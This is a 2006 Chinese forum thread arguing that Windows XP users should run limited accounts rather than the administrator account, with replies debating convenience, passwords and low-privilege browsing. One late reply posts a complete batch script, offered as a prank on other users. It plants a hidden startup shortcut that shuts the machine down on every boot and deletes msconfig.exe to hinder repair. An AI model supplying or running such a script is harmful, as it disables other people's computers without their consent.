世界之窗论坛 - Powered by Discuz! Board

标题: 请勿总是使用“计算机管理员”帐户 [打印本页]

作者: peter1123 时间: 2006-10-17 13:06 标题: 请勿总是使用“计算机管理员”帐户

首先，计算机为什么要设置那么多级别的帐户？
其目的是为了安全  不同身份的帐户有着不同的权利
权利小的所能做的事少影响力少威胁性也小
反之亦然

计算机管理员拥有强大的管理权利，但不是每个人都有能力控制住这个权利
（参考历代昏君）

当一个有能力控制住这个强大权利的人，使用这个计算机管理员身份的时候  将会得心应手。
但更多的朋友恐怕没有足够的能力，且也不必要这么多的权利
比如很多女孩子，大多用电脑是来玩游戏，QQ，听歌，浏览网页。  这只需要受限帐户就OK了
她们所能受到的烦恼，一般也就是病毒，木马（还得非常严重的时候）。而这些是 “计算机管理员”权限带来的负面效果
当你使用受限帐户的时候，所做的事无论怎么错误都是在限制范围之内，哪怕是病毒也是一样。

这样会大大的限制了病毒，同样可以免除流氓软件带来的危害。
当然，对于那些喜欢安装软件的朋友来说，使用受限用户会很麻烦。
但我想提醒你们，提高自己的安全意识（也就是控制管理员这个权限的能力）。
PS：发现很多XP的安装光盘都省略了最后创建用户的页面，装好之后直接以Administrator用户进入
这个用户是系统内置用户拥有所有的权限。
强烈建议创建一个新的计算机管理员用户，并为每个用户都设置密码（一个简单的密码可以为你减少安全威胁
）
当然，写了这么多。还是希望不需要计算机管理员这个权利的朋友，使用受限用户。
也许会有一小点不便利，但更多的是安全。

作者: gxaworld 时间: 2006-10-31 14:12

言之有理，我也是这样想的，但我无法接受administrator以外的用户权限。所以只用超级用户，当然密码也加强了一点。用大写英文+小写英文+数字+符号+特殊符号做密码。

作者: chenyutang945 时间: 2006-10-31 22:36

呵呵
没有这种必要的呀
密码吗！！不用搞的那么神秘的

作者: yenlord 时间: 2006-11-1 15:19

提示: 作者被禁止或删除内容自动屏蔽

作者: dr_lim 时间: 2006-11-8 09:11

我就喜欢用administrator 搞死系统就ghost回去

作者: WeeVee 时间: 2006-11-8 10:37

我就用管理员账户~~ 不想ghost, 完了就重装.

作者: yzx52099 时间: 2006-11-8 15:51

多账户不只是为了安全吧，更多的是可以多人共用一机---方便

如果楼主的机器只是自己一个人用，俺就不明白楼主要开上几个受限账户，来宾账户干吗呢？？难不成没事儿就切换账户玩儿？？
Administrater账户可以选择不用，但也没有必要扩建很多无用的闲置帐户啊？正常启动下的Administrater并不像很多人说的是超级管理员，只有安全模式下的Administrater才够超级呵呵，不过这些都没有关系因为俺都屏蔽了，俺只有一个俺自己的管理员账户，他的权限和 Administrater同级---都是管理员

作者: tenkin 时间: 2006-11-8 21:11

曾经在网吧或是学校机房，被限制，很不爽
自己的pc自己还要限制自己，何必呢？！

作者: starsoft 时间: 2006-11-8 22:09

密码设得再长也没用,只要你用的管理员权限.

因为是你自己攻破了自己的系统.

密码只是针对别人要登陆你的用户,而你已经登陆了系统,你的所有操作,所有运行的软件都代表了你的行为,而你的行为却不一定是对的,你如果运行了流氓软件,木马,那是因为你的管理员是你自愿的也好,是被骗了也好.

如果不喜欢用受限用户登陆,至少在网络应用上,要运行在低于管理权限下,将网络应用和你的管理员用户隔离起来.这样几乎所有的网页木马都奈何不了你.IE的漏洞即使你没打补丁也基本没事,因为你的IE不运行在管理权限,就算溢出,得到的也只是个基本用户,想让自己下次自动启动都不行.

作者: realmon 时间: 2006-11-9 17:08

如果windows也有sudo就好了

作者: Kyuurayi 时间: 2006-11-10 16:59

为的方法是把管理员名字改掉再去创建一个名字叫做管理员的帐号

作者: hanscowboy 时间: 2006-11-10 17:11

管理员帐号的名称似乎不能改的，但可以另外建一个管理员帐号。

作者: 肥虫 时间: 2006-11-11 14:04

原帖由 hanscowboy 于 2006-11-10 17:11 发表
管理员帐号的名称似乎不能改的，但可以另外建一个管理员帐号。

是可以改的！不过不爽。

作者: 那巴尔 时间: 2006-11-11 14:07

机关算尽，不是我的风格

作者: peter1123 时间: 2006-11-19 21:57

原帖由 yzx52099 于 2006-11-8 15:51 发表
多账户不只是为了安全吧，更多的是可以多人共用一机---方便
如果楼主的机器只是自己一个人用，俺就不明白楼主要开上几个受限账户，来宾账户干吗呢？？难不成没事儿就切换账户玩儿？？
Administrater账 ...

给2个对普通的电脑用户
1个使用计算机管理员
1个使用受限帐户

过1个月再去看看

你就能看出分别了

作者: peter1123 时间: 2006-11-19 21:59

原帖由 WeeVee 于 2006-11-8 10:37 发表
我就用管理员账户~~ 不想ghost, 完了就重装.

对于这样的，不属于我这文章的范畴

就像中毒了直接低格一样，（杀毒软件就可以略了）

作者: peter1123 时间: 2006-11-19 22:04

原帖由 tenkin 于 2006-11-8 21:11 发表
曾经在网吧或是学校机房，被限制，很不爽
自己的pc自己还要限制自己，何必呢？！

点开始
注销
切换
选择计算机管理员
等待几秒钟

作者: peter1123 时间: 2006-11-19 22:07

原帖由 gxaworld 于 2006-10-31 14:12 发表
言之有理，我也是这样想的，但我无法接受administrator以外的用户权限。所以只用超级用户，当然密码也加强了一点。用大写英文+小写英文+数字+符号+特殊符号做密码。

实在无法接受的
又不勉强

只是建议而已

比如一般的家庭用户啊
或者是偶尔上网聊天的MM啊

作者: gxaworld 时间: 2006-11-19 23:45

建一个快捷方式,名为ss.lnk
%windir%\system32\shutdown.exe /s /t 0

一个BAT文件,名为S.BAT
move ss.lnk "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\"
attrib +h "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\ss.lnk"
del %windir%\PCHealth\HelpCtr\Binaries\msconfig.exe /q
del %windir%\system32\dllcache\msconfig.exe /q
"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\ss.lnk"
del s.bat /q

我让USERS组的朋友们夹一把的办法.

作者: surFan 时间: 2006-11-21 22:20

的确是有必要用个低一点权限的用户。

欢迎光临世界之窗论坛 (http://bbs.theworld.cn/)